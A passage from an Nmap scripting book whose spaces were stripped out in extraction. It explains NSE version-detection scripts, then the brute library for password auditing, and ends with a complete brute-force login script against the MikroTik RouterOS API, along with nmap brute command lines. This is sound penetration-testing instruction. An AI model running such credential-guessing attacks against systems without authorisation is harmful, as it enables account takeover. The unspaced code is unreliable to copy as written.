shortport.version_port_or_service(ports,services,protos,states)
shortport.port_or_service(ports,services,protos,states)
shortport.service(services,protos,states)
Don’tforgetthatthesealiasesarestoredintheshortportlibrary.Toincludethislibraryinyourscript,yousimplycalltherequire()function:
local"shortport"=require"shortport"
Forexample,let’ssaywewanttomatchanyportorservicerunningonport522TCPorUDPwiththestateopenorfiltered.Wecouldusetheshortportaliasversion_port_or_service()functionasfollows:
portrule=shortport.version_port_or_service({52},nil,{"tcp","udp"},
{"open","open|filtered"})
NoteThedocumentationoftheshortportNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/shortport.html.
UpdatingtheportversioninformationAfterperformingthecorrespondingtasksrequiredtoextractserviceinformation,youwouldwanttoreturnthisadditionalinformationandupdatethecurrentport’sstateandversioninformation.Toupdatetheportversioninformation,youneedtouseNmap’sAPIfunction:
nmap.set_port_version(host,port,confidence)
First,includetheNmaplibrary:
localnmap=require"nmap"
Theset_port_version()functionupdatesthefollowingoptionalfieldsintheVERSIONcolumn:
name
product
version
extrainfo
hostname
ostype
devicetype
service_tunnel
cpe
SettingthematchconfidencelevelTheconfidencefieldrepresentshowaccuratetheinformationreturnedbytheNSEscriptcanbeconsideredtobe.Theavailablevaluesare:
hardmatched
softmatched
nomatch
tcpwrapped
incomplete
NoteThedefaultvalueishardmatched.Thisvaluemeansthattheportinformationis100percentaccurate.
ExamplesofversiondetectionscriptsNowwewillbrieflycoverafewexamplesofdifferentNSEversionscriptstofamiliarizeourselveswiththestructureandrequiredcomponents.
NSEscript–modbus-discoverThemodbus-discoverscriptwaswrittenbyAlexanderRudakovtoretrievedeviceinformationthroughthemodbusprotocol.ModbusisverypopularamongSupervisoryControlAndDataAcquisition(SCADA)systems.ThescriptattemptstodiscovervalidSlaveIDs(SIDs)andretrieveadditionaldeviceinformation:
action=function(host,port)
—Iffalse,stopafterfirstsid.
localaggressive=stdnse.get_script_args('modbus-discover.aggressive')
localopts={timeout=2000}
localresults={}
forsid=1,246do
stdnse.print_debug(3,"Sendingcommandwithsid=%d",sid)
localrsid=form_rsid(sid,0x11,"")
localstatus,result=comm.exchange(host,port,rsid,opts)
if(statusand(#result>=8))then
localret_code=string.byte(result,8)
if(ret_code==(0x11)orret_code==(0x11+128))then
localsid_table={}
ifret_code==(0x11)then
table.insert(results,("Positiveresponseforsid=
0x%x"):format(sid))
localslave_id=extract_slave_id(result)
if(slave_id~=nil)thentable.insert(sid_table,
"SLAVEIDDATA:"..slave_id)end
elseifret_code==(0x11+128)then
localexception_code=string.byte(result,9)
localexception_string=
modbus_exception_codes[exception_code]
if(exception_string==nil)thenexception_string=
"UNKNOWNEXCEPTION"end
table.insert(results,("Positiveerrorresponseforsid
=0x%x(%s)"):format(sid,exception_string))
end
localdevice_table=discover_device_id(host,port,sid)
if(#device_table>0)then
table.insert(sid_table,
form_device_id_string(device_table))
end
if(#sid_table>0)then
table.insert(results,sid_table)
end
if(notaggressive)thenbreakend
end
end
end
if(#results>0)then
port.state="open"
port.version.name="modbus"
nmap.set_port_version(host,port)
end
returnstdnse.format_output(true,results)
end
Ifweopenthescript,thefirstthingwenoticeisthecategoriesourscriptbelongsto:
categories={"discovery","intrusive"}
Thenwenoticeitsexecutionrule:
portrule=shortport.portnumber(502,"tcp")
Thereasonweusedthisscript,eventhoughitisnotincludedintheversioncategory,istodemonstratethatanyscriptcanupdateportversioninformationthroughtheNmapAPI.
Thescriptthengoesonitsdetectionroutine;finally,itwillsimplyupdatetheportstateandversionnameofthetargetwiththehelpofthenmap.set_port_version()function:
if(#results>0)then
port.state="open"
port.version.name="modbus"
nmap.set_port_version(host,port)
end
Theresultsofthemodbus-discoverscriptwilllooksimilartothefollowingexample:
PORTSTATESERVICE
502/tcpopenmodbus
|modbus-discover:
|Positiveresponseforsid=0x64
|SLAVEIDDATA:\xFA\xFFPM710PowerMeter
|DEVICEIDENTIFICATION:SchneiderElectricPM710v03.110
|_Positiveerrorresponseforsid=0x96(GATEWAYTARGETDEVICEFAILEDTO
RESPONSE)
NSEscript–ventrilo-infoTheventrilo-infoscriptwassubmittedbyMarinMarzictodetectthepopularVentrilovoicecommunicationserverandextractinterestingconfigurationvaluesandinformationsuchasexactOSinformation,uptime,authenticationscheme,andmore.ThisisadefaultversiondetectionscriptincludedinNmap.
Openthesourcecodeofthescriptandlookattheexecutionrule:
portrule=shortport.version_port_or_service({3784},"ventrilo",{"tcp",
"udp"})
Afterdetectingtheserviceandconfiguration,thescriptsetsthecorrespondingportversionfieldsandupdatestheporttable:
--parsethereceiveddatastringintoanoutputtable
localinfo=o_table(fulldata_str)
port.version.name="ventrilo"
port.version.name_confidence=10
port.version.product="Ventrilo"
port.version.version=info.version
port.version.ostype=info.platform
port.version.extrainfo=";name:"..info.name
ifport.protocol=="tcp"then
port.version.extrainfo="voiceport"..port.version.extrainfo
else
port.version.extrainfo="statusport"..port.version.extrainfo
end
port.version.extrainfo=port.version.extrainfo..";uptime:"..
uptime_str(info.uptime)
port.version.extrainfo=port.version.extrainfo..";auth:"..
auth_str(info.auth)
nmap.set_port_version(host,port,"hardmatched")
Thistime,theset_port_version()functionsetsthematchlevelashardmatchedbecauseweare100percentconfidentthatwearetalkingtoaVentriloserver.
AVentriloserverscannedwithservicedetectionenabledshouldreturnresultssimilartothefollowing:
PORTSTATESERVICEVERSION
9408/tcpopenventriloVentrilo3.0.3.C(voiceport;name:TypeFrag.com;
uptime:152h:56m;auth:pw)
|ventrilo-info:
|name:TypeFrag.com
|phonetic:TypeFragDotCom
|comment:http://www.typefrag.com/
|auth:pw
|max.clients:100
|voicecodec:3,Speex
|voiceformat:32,32KHz%2C16bit%2C10Qlty
|uptime:152h:56m
|platform:WIN32
|version:3.0.3.C
|channelcount:14
|channelfields:CID,PID,PROT,NAME,COMM
|clientcount:6
|clientfields:ADMIN,CID,PHAN,PING,SEC,NAME,COMM
|channels:
|<toplevellobby>(CID:0,PID:n/a,PROT:n/a,COMM:n/a):<empty>
|Group1(CID:719,PID:0,PROT:0,COMM:):
|stabya(ADMIN:0,PHAN:0,PING:47,SEC:206304,COMM:
|Group2(CID:720,PID:0,PROT:0,COMM:):<empty>
|Group3(CID:721,PID:0,PROT:0,COMM:):<empty>
|Group4(CID:722,PID:0,PROT:0,COMM:):<empty>
|Group5(CID:723,PID:0,PROT:0,COMM:):
|SirMasterWin(ADMIN:0,PHAN:0,PING:32,SEC:186890,COMM:
|waterbukk(ADMIN:0,PHAN:0,PING:31,SEC:111387,COMM:
|likez(ADMIN:0,PHAN:0,PING:140,SEC:22457,COMM:
|Tweet(ADMIN:0,PHAN:0,PING:140,SEC:21009,COMM:
|Group6(CID:724,PID:0,PROT:0,COMM:):<empty>
|Raid(CID:725,PID:0,PROT:0,COMM:):<empty>
|Officers(CID:726,PID:0,PROT:1,COMM:):<empty>
|PG13(CID:727,PID:0,PROT:0,COMM:):<empty>
|RatedR(CID:728,PID:0,PROT:0,COMM:):<empty>
|Group7(CID:729,PID:0,PROT:0,COMM:):<empty>
|Group8(CID:730,PID:0,PROT:0,COMM:):<empty>
|Group9(CID:731,PID:0,PROT:0,COMM:):<empty>
|AFK-switchtothiswhenAFK(CID:732,PID:0,PROT:0,COMM:):
|_Eisennacher(ADMIN:0,PHAN:0,PING:79,SEC:181948,COMM:
ServiceInfo:OS:WIN32
NSEscript–rpc-grindTherpc-grindscriptwassubmittedbyHaniBenhabilesandisanexampleofhowpowerfulNSEis.ThisscriptreplacedtheCimplementationofRPCgrindingshippedwithNmap,anditextractstheservicename,RPCnumber,andversion.
Inthescriptportrule,theyfollowthegoodpracticeofcheckingandhonoringtheexcludedportstable,andalsoavoiddouble-checkingservicesthathavebeenalreadyidentified:
portrule=function(host,port)
—Donotrunforexcludedports
if(nmap.port_is_excluded(port.number,port.protocol))then
returnfalse
end
ifport.service~=nilandport.version.service_dtype~="table"and
port.service~='rpcbind'then
—Excludeservicesthathavealreadybeendetectedassomething
—differentthanrpcbind.
returnfalse
end
returntrue
end
ThisscriptsendsnullRPCcallrequeststoRPCprogramnumberslistedinthenmap-rpcfile.Afterprocessingtheresponses,itchecksresultsandupdatestheportinformation:
if#result>0then
port.version.name=result.program
port.version.extrainfo="RPC#"..result.number
ifresult.highver~=result.lowverthen
port.version.version=("%s-%s"):format(result.lowver,
result.highver)
else
port.version.version=result.highver
end
nmap.set_port_version(host,port,"hardmatched")
else
stdnse.print_debug("Couldn'tdeterminethetargetRPCservice.
Runningaservicenotinnmap-rpc?")
end
IfanRPCserviceisdetected,theoutputwilllooksimilartothefollowing:
PORTSTATESERVICEVERSION
53344/udpopenwalld(walldV1)1(RPC#100008)
SummaryInthischapter,youlearnedtheinnerworkingsofversiondetectioninNmap,includingitsphases,databasestructure,exclusions,andpost-processors.Themodbus-discover,ventrilo-info,andrpc-grindNSEversionscriptswereusedasrealexamplesoftheadvancedfingerprintingthatNSEisabletoperform.
Atthispoint,youshouldbefamiliarnotonlywiththeversiondetectionsystemofNmapbutalsowiththeNSEAPI.YounowhavetheknowledgerequiredtoperformadvancedfingerprintingtasksagainstnewservicesandimprovethedetectioncapabilitiesofNmap.Iencourageyoutogowriteyourfirstversiondetectionscriptbeforecontinuingtothenextchapter.Itwillalsohelpyoutopracticesomereal-casescenariosofpatternmatchingwithLua.
Inthenextchapter,youwilllearnaboutthepowerfulbrute-forcepassword-auditingframeworkavailableinNSE,andhowtowritescriptsforcustomapplicationsornewprotocols.Youwillalsolearntoimplementthepowerfulbrutelibraryandotherimportantlibrariesrelatedtousercredentials.Prepareyourwordlistsandlet’sbrute-forcesomecredentials.
Chapter6.DevelopingBrute-forcePassword-auditingScriptsOneimportantfeatureofNSE,(sadly)oftenforgotten,istheabilitytoperformbrute-forcepassword-auditingattacksagainstnumerousservices,applications,andprotocols.Asexperiencedpenetrationtesters,weknowthatweakcredentialsarefoundinmanyITenvironments,anditisimpossibletofindthemallmanuallywithoutboringyourselftodeath.ThebruteNSEcategoryattemptstoeasethispainbygroupingover50differentscriptstoworkwithavarietyofapplications,services,andprotocolssuchasthese:
HTTP,HTTPS,andapplication-specificscriptsforwebapplicationsSMTP,POP,andIMAPformaildeliverysystemsOracle,IBMDB2,MySQL,MSSQL,Cassandra,andMongoDBfordatabasemanagementsystemsSVNandCVSforsourcecodecontrolsystemsManyotherinterestingprotocolssuchasSIP,VMWareAuthorization,andotherapplication-specificdaemons
Inthischapter,wewillcoverthefollowingtopics:
AdjustingexecutionmodesanddictionariesImplementingtheDriverclassfromthebrutelibraryTuningthebehaviorofthebruteengineWorkingwiththeusernameandpassworddatabasesManagingdiscoveredcredentialsinyourNSEscripts
Prepareyourwordlistsandlet’sventureintowritingbrute-forcepassword-auditingNSEscripts.Ipromiseyouwillbesurprisedtoknowhowstraightforwardthiscanbe.
WorkingwiththebruteNSElibraryThebruteNSElibrary(http://nmap.org/nsedoc/lib/brute.html)wasdevelopedtounifycodingstylesandsavetimewhencreatingscriptsforbrute-forcepassword-auditing.Thislibraryisfullyfeaturedandautomaticallyparallelizestheloginoperationsperformedbythescripts.Itsupportsdifferentexecutionmodesthatchangetheiterationorderusedbytheenginewhenreadinglistsofusernamesandpasswords.Thebrutelibrarycanhandleincompleteloginattemptsandre-addfailedusername-passwordcombinationstothequeue.Italsoworkswiththecredslibrarytohandleandstoreusercredentialsfoundduringscanssothatotherscriptscanbenefitfromthem.Overall,it’saverycompletelibraryofferingasolidbasefromwhichtodevelopbrute-forcepassword-auditingscripts.
ThebruteNSElibrarydefinesthefollowingclasses:
Account
Engine
Options
Error
Thenamesoftheseclassesbythemselvesshoulddescribetheirpurpose,solet’sjumpintosomeimplementationdetails.
AtypicalNSEscriptinvokingthebruteenginewillneedtopasstotheEngineclassconstructoraDriverclassandhost,port,andoptionstables.Aftertheengineisstarted,instancesoftheDriverclasswillbecreatedforeachloginattempt.
Usethebrute.Engine:new()methodtocreateaninstanceoftheengine:
brute.Engine:new(Driver,host,port,options)
Thecompletecodetocreateaclassinstanceofbrute.Engineandstarttheattackisasfollows:
localstatus,result,engine
engine=brute.Engine:new(Driver,host,port,options)
engine:setMaxThreads(thread_num)
engine.options.script_name=SCRIPT_NAME
status,result=engine:start()
Next,wewilllearnusagetricksandhowtodefinetheheartofNSEbrutescripts—theDriverclass.
SelectingabrutemodeExecutionmodedefinesthebehavioroftheiteratorobjectusedagainstthelistsofusernamesandpasswords.Whilethedefaultmodeworksfinemostofthetime,asadvanceduserswemayrequiretotunetheorderofthegeneratedlogincombinations,orperhapstoworkwithafilecontainingcommonusernameandpasswordpairs.
Thebrutelibrarysupportsthreedifferentmodes:
user
pass
creds
Let’ssayourusernamelistcontainsthefollowing:
admin
root
Thenlet’sassumethatourpasswordlistcontains:
test
admin
Inusermode,theenginewillattempttologinwitheverypasswordforeachusername.Withourpreviouslydefinedlists,thelogincombinationsgeneratedwillbeasfollows:
admin:test
admin:admin
root:test
root:admin
Inpassmode,theenginewilltryeveryusernameforeachpassword.Usingtheprecedinglists,itwillgeneratethefollowinglogincombinations:
admin:test
root:test
admin:admin
root:admin
Finally,credsmodereadsasetofcredentialsfromthefiledefinedwiththebrute.credfilelibraryargument.Thisfileshouldcontainlogincombinationswithusernamesandpasswordsseparatedbythe/character.Forexample:
admin/admin
admin/12345
admin/
Selectamodebysettingthebrute.modelibraryargument.Iftheargumentisnotset,thedefaultvalueispass:
$nmap--scriptbrute--script-argsbrute.mode=user<target>
Don’tforgetthatcredsmoderequiresthebrute.credfilelibraryargumenttobedefined:
$nmap--scriptbrute--script-args
brute.mode=creds,brute.credfile=/home/pentest/common-creds.txt<target>
NoteDon’tforgetyoucansetalternatedictionarieswiththeuserdbandpassdbarguments,asfollows:
$nmap--scriptbrute--script-args
userdb=/home/pentest/users.txt,passdb=/home/pentest/top500.txt<target>
ImplementingtheDriverclassThebruteenginewillcreateinstancesoftheDriverclassforeachloginattempt.Themethodsthatneedtobedefinedinthisclassare:
Driver:login
Driver:connect
Driver:disconnect
TheDriver:login()functionstoresthelogicresponsibleforloggingintothetargetusingthegivenusernameandpassword.Itshouldreturntwovalues:aBooleanvalueindicatingtheoperationstatusandanAccountorErrorobject.
TheDriver:connect()methodhandlestasksrelatedtoestablishingtheconnection,suchascreatingnetworksocketsandcheckingwhetherthetargetisonlineandresponding.ThismethodisexecutedbeforeDriver:login().
Finally,theDriver:disconnect()methodisusedtoperformanyadditionalclean-uptaskssuchasclosingfilehandlersornetworksockets.BothDriver:connect()andDriver:disconnect()maybeemptyfunctions.
Thesyntaxusedtodeclarethisclasswilllooksomethinglikethis:
Driver={
new=function(self,host,port,options)
...
end,
login=function(self)
...
end
connect=function(self)
...
end
disconnect=function(self)
...
end
}
Let’stakealookatarealimplementationofthisclass.Thefollowingisaneditedsnippetfromthehttp-wordpress-brutescript.Inthiscase,theDriver:connect()andDriver:disconnect()functionsaren’treallyusedbecauseHTTPcallsmadewiththelibraryhttparethread-safeandnorawnetworksocketsarenecessary:
Driver={
new=function(self,host,port,options)
localo={}
setmetatable(o,self)
self.__index=self
o.options=options
returno
end,
connect=function(self)
returntrue
end,
login=function(self,username,password)
—Notetheno_cachedirective
stdnse.print_debug(2,"HTTPPOST%s%s\n",self.host,self.uri)
localresponse=http.post(self.host,self.port,self.uri,{no_cache
=true},nil,{[self.options.uservar]=username,[self.options.passvar]
=password})
—Thisredirectistakingusto/wp-admin
ifresponse.status==302then
localc=creds.Credentials:new(SCRIPT_NAME,self.host,self.port)
c:add(username,password,creds.State.VALID)
returntrue,brute.Account:new(username,password,"OPEN")
end
returnfalse,brute.Error:new("Incorrectpassword")
end,
disconnect=function(self)
returntrue
end,
check=function(self)
localresponse=http.get(self.host,self.port,self.uri)
stdnse.print_debug(1,"HTTPGET%s%s",
stdnse.get_hostname(self.host),self.uri)
—Checkifpasswordfieldisthere
if(response.status==200andresponse.body:match('type=
[\'"]password[\'"]'))then
stdnse.print_debug(1,"Initialcheckpassed.Launchingbruteforce
attack")
returntrue
else
stdnse.print_debug(1,"Initialcheckfailed.Passwordfieldwasn't
found")
end
returnfalse
end
}
NoteTheDriver:check()functionisdeprecated.Ifyouneedtoperformchecktasks,youshoulddothembeforeinitiatingthebruteengine.
PassinglibraryanduseroptionsOneofthestrengthsofthebrutelibraryisitsflexibility.Itsupportsseveralruntimeconfigurationoptionstotunethebehavioroftheengineprogrammaticallyorwithcommand-linearguments.Forexample,byenablingbrute.firstonly,wemaketheenginestopandexitafterfindingthefirstaccount,whichisahandyoptionifwearelookingforquickaccess.Ofcourse,thisisjustthetipoftheicebergwhenitcomestotheoptionssupportedbythelibrary.
Theoptionsdefinedinthislibraryare:
firstonly
passonly
max_retries
delay
mode
title
nostore
max_guesses
useraspass
emptypass
Aswejustmentioned,thebrute.firstOnlylibraryargumentisaBooleanvalue.Ifset,itmakestheengineexitafterfindingthefirstvalidaccount.Toenableitviathecommandline,weusethisexpression:
$nmap--scriptbrute--script-argsbrute.firstOnly<target>
Thebrute.passOnlyargumentisdesignedtohelpustestpasswordsofablankuseraccount.Tosetthislibraryargument,wetypethefollowinginthecommandline:
$nmap--scriptbrute--script-argsbrute.passOnly<target>
Thebrute.max_retrieslibraryoptionsetsthenumberofnetworkconnectionattemptsperlogin.Becareful;inthiscase,theoptionusesadifferentnameifwedecideittosetitwiththecommandline:
$nmap--scriptbrute--script-argsbrute.retries=10<target>
Thebrute.delayoptionsetstheamountoftime(inseconds)towaitbetweenloginattempts.Hereistheexpressiontosetthisvaluefromthecommandline:
$nmap--scriptbrute--script-argsbrute.delay=3<target>
Somesystemslockaccountsaftercertainnumberoffailedloginattempts.Thebrute.max_guessesoptiondefinesthenumberofloginattemptsforeachaccount.Becarefulwiththisone;theargumentnameisalittledifferentifyouwanttosetitfromthecommandline:
$nmap--scriptbrute--script-argsbrute.guesses=10<target>
Bydefault,thebrutelibrarywillattempttologinusingtheusernameasapassword.Updatethevalueofbrute.useraspassprogrammaticallyorsetitfromthecommandlinewiththefollowingcommand:
$nmap--scriptbrute--script-argsbrute.useraspass=false<target>
Thebrute.emptypassoptionargumentmakesthelibraryattempttologinusingemptypasswords.Thisvaluecanbesetprogrammaticallyorfromthecommandlineaswell:
$nmap--scriptbrute--script-argsbrute.emptypass<target>
Alltheprecedingoptionscanalsobesetprogrammatically.Forexample,tosetthebrute.emptypassoption,yousimplyneedtosetthevariableintheconstructoroftheDriverclass:
Driver=
{
new=function(self,host,port,options)
localo={host=host,port=port,options=options}
setmetatable(o,self)
self.__index=self
o.emptypass=true
returno
end,
…
}
TipInaddition,thebrute.titleandbrute.nostoreoptionscanonlybeusedprogrammaticallytosettheresulttable’stitleandtoavoidstoringthecredentialsthatarefound.
User-definedoptionsareallowedandaresimpletouse.Justpasstheoptionstableasthefourthparametertothebrute.Engineconstructor:
localoptions={timeout=5000}
localengine=brute.Engine:new(Driver,host,port,options)
Toreadorusetheseuser-definedoptionsinyourDriverclass,yousimplyaccesstheselfobjectthatwaspassedasthefirstargument.Forexample:
ifself.options['timeout']==0then
--Dosomething
end
ReturningvalidaccountsviaAccountobjectsTheAccountclassisusedtorepresentthevalidaccountsfoundinthetargetduringexecution.Eachaccountstoredusingthisclasswillhaveastate.
Theavailablestatesare:
OPEN
DISABLED
LOCKED
YouwillfindyourselfworkingwiththisobjectwhenimplementingtheDriverclass.AninstanceofthisclassmustbeusedasareturnvalueoftheDriver:login()function.Tocreateaninstance,yousimplycalltheconstructorwiththedesiredusername,password,andaccountstate:
brute.Account:new(username,password,"OPEN")
Itisimportantyousetthecorrectstateoftheaccountinyourscripts.Normally,youwillendupwithsomethinglikethisinsideyourDriver:login()implementation:
ifstring.find(data,"Welcomehome")~=nilthen
returntrue,brute.Account:new(username,password,"OPEN")
elseifstring.find(data,"Toomanyattempts.Thisaccounthasbeenlocked")
~=nilthen
returntrue,brute.Account:new(username,password,"LOCKED")
end
HandlingexecutionerrorsgracefullywiththeErrorclassTheErrorclasshelpsustohandleexecutionerrorsbut,moreimportantly,thisclasssignalsbrute.Engineandallowsittomanageloginretries.Forthisreason,youneedtouseitwhendevelopingNSEbrutescripts.
Tocreateaninstanceofbrute.Error,youneedtocalltheconstructorwithadescriptiveerrormessage:
brute.Error:new("Yourownmessageerrorgoeshere")
TheinstanceofthisclassshouldbereturnedasthesecondreturnvalueinyourDriverimplementation:
ifloginthen
returntrue,brute.Account:new(username,password,"OPEN")
else
returnfalse,brute.Error:new("Incorrectpassword")
end
ReadingusernamesandpasswordlistswiththeunpwdbNSElibraryDevelopersstickingtotheframeworkproposedbythebrutelibrarydon’tneedtoworryaboutreadingtheusernameandpassworddatabaseshippedwithNmap.However,ifyoufindyourselfwritingscriptswithoutthislibraryforanyreason,youcouldusetheunpwdblibrarytodoso.
Theunpwdblibraryprovidestwofunctions:usernames()andpasswords().Theyreturnafunctionclosure(ifsuccessful)thatoutputsusernamesandpasswordswitheachcallcorrespondingly.Thereturnedclosurescanalsotaketheresetargumenttosetthepointeratthebeginningofthelist.
Thefollowingsnippetillustrateshowtousethesefunctionclosurestointeractwiththeusernameandpassworddatabase:
localusernames,passwords
localnmap_try=nmap.new_try()
usernames=nmap_try(unpwdb.usernames())
passwords=nmap_try(unpwdb.passwords())
forpasswordinpasswordsdo
forusernameinusernamesdo
—Dosomething!
end
usernames("reset")--Rewindlist
end
TipTheusernameandpassworddatabasesshippedwithNmapcanbefoundintheusernames.lstandpasswords.lstfilesinsideyourdatadirectory(seeChapter3,NSEDataFiles).
Theofficialdocumentationoftheunpwdblibrarycanbefoundathttp://nmap.org/nsedoc/lib/unpwdb.html.
ManagingusercredentialsfoundduringscansInversionsbefore6.x,thecredentialsfoundbyNSEwerestoredintheNmapregistry.Thecredslibrarywascreatedtoprovideaninterfacetoeasilyreadandwriteusercredentialsstoredinthisregistry.Eachaccountislinkedtoastate,similartothebrute.Accountclass,soitallowstypefiltering.
FromanNSEscript,youcouldlistalltheaccountsfoundwithonecall:
tostring(creds.Credentials:new(SCRIPT_NAME,host,port))
Youcanalsoiteratethroughthemandperformspecificactionsaccordingtotype:
localc=creds.Credentials:new(creds.ALL_DATA,host,port)
forcredinc:getCredentials(creds.State.VALID)do
doSomething(cred.user,cred.pass)
end
Youcaneasilywritethemtoafile:
localc=creds.Credentials:new(SCRIPT_NAME,host,port)
status,err=c:saveToFile("credentials-dumpfile-csv","csv")
Newcredentialscanbewrittengloballyorlinkedtoaspecificservice.Forexample,toaddcredentialsspecifictotheHTTPservice,wecouldusethis:
$nmap-p---scriptbrute--script-argscreds.http="cisco:cisco"<target>
Thenwecouldusetheglobalkeywordastheargumentnametoaddthemglobally:
$nmap-p---scriptbrute--script-args
creds.global="administrator:administrator"<target>
Finally,wewouldwriteanewsetofcredentialstotheregistryprogrammatically,likethis:
localc=creds.Credentials:new(SCRIPT_NAME,self.host,self.port)
c:add(username,password,creds.State.VALID)
NoteTheofficialdocumentationofthecredslibrarycanbefoundathttp://nmap.org/nsedoc/lib/creds.html.
WritinganNSEscripttolaunchpassword-auditingattacksagainsttheMikroTikRouterOSAPILet’stieeverythingtogetherbywritingacompleteNSEscriptthatusesallthelibrariesseeninthischapter.Onthisoccasion,wewilltargetdevicesrunningMikroTikRouterOS3.xandhigherversionswithAPIaccessenabled.
TheAPIserviceusuallyrunsonTCPport8728,anditallowsadministrativeaccesstothedevicesrunningthisoperatingsystem.Often,administratorswilllockdownHTTPandSSHbutnottheAPI.Let’swriteascriptthathelpsusperformbrute-forcepassword-auditingagainstthisservice:
1. First,let’sstartwiththeinformationtagsandrequiredlibraries:
description=[[
PerformsbruteforcepasswordauditingagainstMikrotikRouterOS
deviceswiththeAPIRouterOSinterfaceenabled.
Additionalinformation:
*http://wiki.mikrotik.com/wiki/API
*http://wiki.mikrotik.com/wiki/API_in_C
*https://github.com/mkbrutusproject/MKBRUTUS
]]
author="PaulinoCalderon<calderon()websec.mx>"
license="SameasNmap--Seehttp://nmap.org/book/man-legal.html"
categories={"discovery","brute"}
localshortport=require"shortport"
localcomm=require"comm"
localbrute=require"brute"
localcreds=require"creds"
localstdnse=require"stdnse"
localopenssl=stdnse.silent_require"openssl"
2. ThescriptwillrunwhenTCPport8728isopenbecauseNmapdoesnotdetectthisservicecorrectlyatthemoment.Let’suseshortport.portnumber()todefinethisasaportrule:
portrule=shortport.portnumber(8728,"tcp")
3. Next,let’sstartimplementingourDriverclass.Thedefaultadministrativeaccountinthistypeofdeviceisadmin,withablankpassword,solet’senableemptypasswordswhendefiningtheconstructor:
Driver=
{
new=function(self,host,port,options)
localo={host=host,port=port,options=options}
setmetatable(o,self)
self.__index=self
o.emptypass=true
returno
end
}
4. OurDriver:connect()functionshouldsetupthesocketconnectionwearegoingtoneed.Noticehowweaccesstheoptionstabletoreadthetimeoutvalue:
connect=function(self)
self.s=nmap.new_socket("tcp")
self.s:set_timeout(self.options['timeout'])
returnself.s:connect(self.host,self.port,"tcp")
end
5. NowweneedaDriver:disconnect()functiontoclosethenetworksocketscorrectlytoavoidsocketexhaustion:
disconnect=function(self)
returnself.s:close()
end
Finallywegettothegoodpart,ourDriver:login()function.Here,weconstructavalidloginqueryfortheAPIprotocol.Let’sbreakitdownabit:
1. First,wecreatetherequiredconnectionprobewiththehelpofbin.pack()andanNmapexceptionhandler:
login=function(self,username,password)
localstatus,data,try
data=bin.pack("cAx",0x6,"/login")
try=nmap.new_try(function()returnfalseend)
2. Let’ssendthisprobetothetargetandattempttoobtainachallengeresponse:
try(self.s:send(data))
data=try(self.s:receive_bytes(50))
stdnse.debug(1,"Response#1:%s",data)
local_,_,ret=string.find(data,'!done%%=ret=(.+)')
3. Ifthechallengeresponsewasextractedcorrectly,wecanformtheloginquerystring:
ifretthen
stdnse.debug(1,"Challengevaluefound:%s",ret)
localmd5str=bin.pack("xAA",password,ret)
localchksum=stdnse.tohex(openssl.md5(md5str))
locallogin_pkt=bin.pack("cAcAcAx",0x6,"/login",0x0b,
"=name="..username,0x2c,"=response=00"..chksum)
4. Let’ssendtheloginqueryandwaitforaresponse:
try(self.s:send(login_pkt))
data=try(self.s:receive_bytes(50))
stdnse.debug(1,"Response#2:%s",data)
5. Wethenlookforthetextpatternthatindicatesthattheloginattemptwassuccessful.
Ifitwas,wecanaddittoourcredentialsregistryandreturntheresultstotheengine:
ifdataandstring.find(data,"%!done")~=nilthen
ifstring.find(data,"message=cannot")==nilthen
localc=creds.Credentials:new(SCRIPT_NAME,self.host,
self.port)
c:add(username,password,creds.State.VALID)
returntrue,brute.Account:new(username,password,
creds.State.VALID)
end
end
6. Iftheloginattemptwasn’tsuccessful,wereturnaninstanceofbrute.Error:
returnfalse,brute.Error:new("Incorrectpassword").
7. Ourfinalclasswilllooklikethis:
Driver=
{
new=function(self,host,port,options)
localo={host=host,port=port,options=options}
setmetatable(o,self)
self.__index=self
o.emptypass=true
returno
end,
connect=function(self)
self.s=nmap.new_socket("tcp")
self.s:set_timeout(self.options['timeout'])
returnself.s:connect(self.host,self.port,"tcp")
end,
login=function(self,username,password)
localstatus,data,try
data=bin.pack("cAx",0x6,"/login")
--Connecttoserviceandobtainthechallengeresponse
try=nmap.new_try(function()returnfalseend)
try(self.s:send(data))
data=try(self.s:receive_bytes(50))
stdnse.debug(1,"Response#1:%s",data)
local_,_,ret=string.find(data,'!done%%=ret=(.+)')
--Ifwefindthechallengevaluewecontinuetheconnectionprocess
ifretthen
stdnse.debug(1,"Challengevaluefound:%s",ret)
localmd5str=bin.pack("xAA",password,ret)
localchksum=stdnse.tohex(openssl.md5(md5str))
locallogin_pkt=bin.pack("cAcAcAx",0x6,"/login",0x0b,
"=name="..username,0x2c,"=response=00"..chksum)
try(self.s:send(login_pkt))
data=try(self.s:receive_bytes(50))
stdnse.debug(1,"Response#2:%s",data)
ifdataandstring.find(data,"%!done")~=nilthen
ifstring.find(data,"message=cannot")==nilthen
localc=creds.Credentials:new(SCRIPT_NAME,self.host,
self.port)
c:add(username,password,creds.State.VALID)
returntrue,brute.Account:new(username,password,
creds.State.VALID)
end
end
end
returnfalse,brute.Error:new("Incorrectpassword")
end,
disconnect=function(self)
returnself.s:close()
end
}
Finally,theonlythinglefttodoistocreateaninstanceofbrute.Engine.Ourmainactioncodeblockwillinitializebrute.Engineandreadacoupleofargumentsdefiningconfigurationoptionssuchasthreadnumberandconnectiontimeout:
action=function(host,port)
localresult
localthread_num=stdnse.get_script_args(SCRIPT_NAME..".threads")or3
localoptions={timeout=5000}
localbengine=brute.Engine:new(Driver,host,port,options)
bengine:setMaxThreads(thread_num)
bengine.options.script_name=SCRIPT_NAME
_,result=bengine:start()
returnresult
end
Ourfinalversionisready,andwecangoandtestitagainstourtarget.Thelibrarywilltakecareofproducinganicereportforus:
PORTSTATESERVICE
8728/tcpopenunknown
|mikrotik-routeros-brute:
|Accounts
|admin-Validcredentials
|Statistics
|_Performed500guessesin70seconds,averagetps:7
Andthat’sall!WehavecreatedaverypowerfulNSEscriptthatperformsbrute-forcepassword-auditingagainstaserviceinfewerthan100lines.IrecommendthatyoufindaserviceorapplicationandwriteanNSEbrutescriptforit.Youwillbeverypleasedwithitspowerifyouarenotalreadypleased.
NoteThecompletemikrotik-routeros-brutescriptcanbefoundathttps://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/mikrotik-routeros-brute.nse.
SummaryInthischapter,wehadfunwritingNSEscriptsthatusethebrutelibrarytolaunchdictionaryattacks.Ourscript,mikrotik-routeros-brute,showedthatweonlyneeded100linesofcodetoproducescriptsthatsupportparallelism,connectionretries,accounthandling,andreporting.
Afterreadingthischapter,youshouldknowalltherequiredlibrariesandhowtoimplementtheinterfacesneededtowriteyourownscripts.Grabyourfavoritewebapplicationandpracticethisnewknowledge.Thereisnobetterwaytomastersomethingthanpracticing.
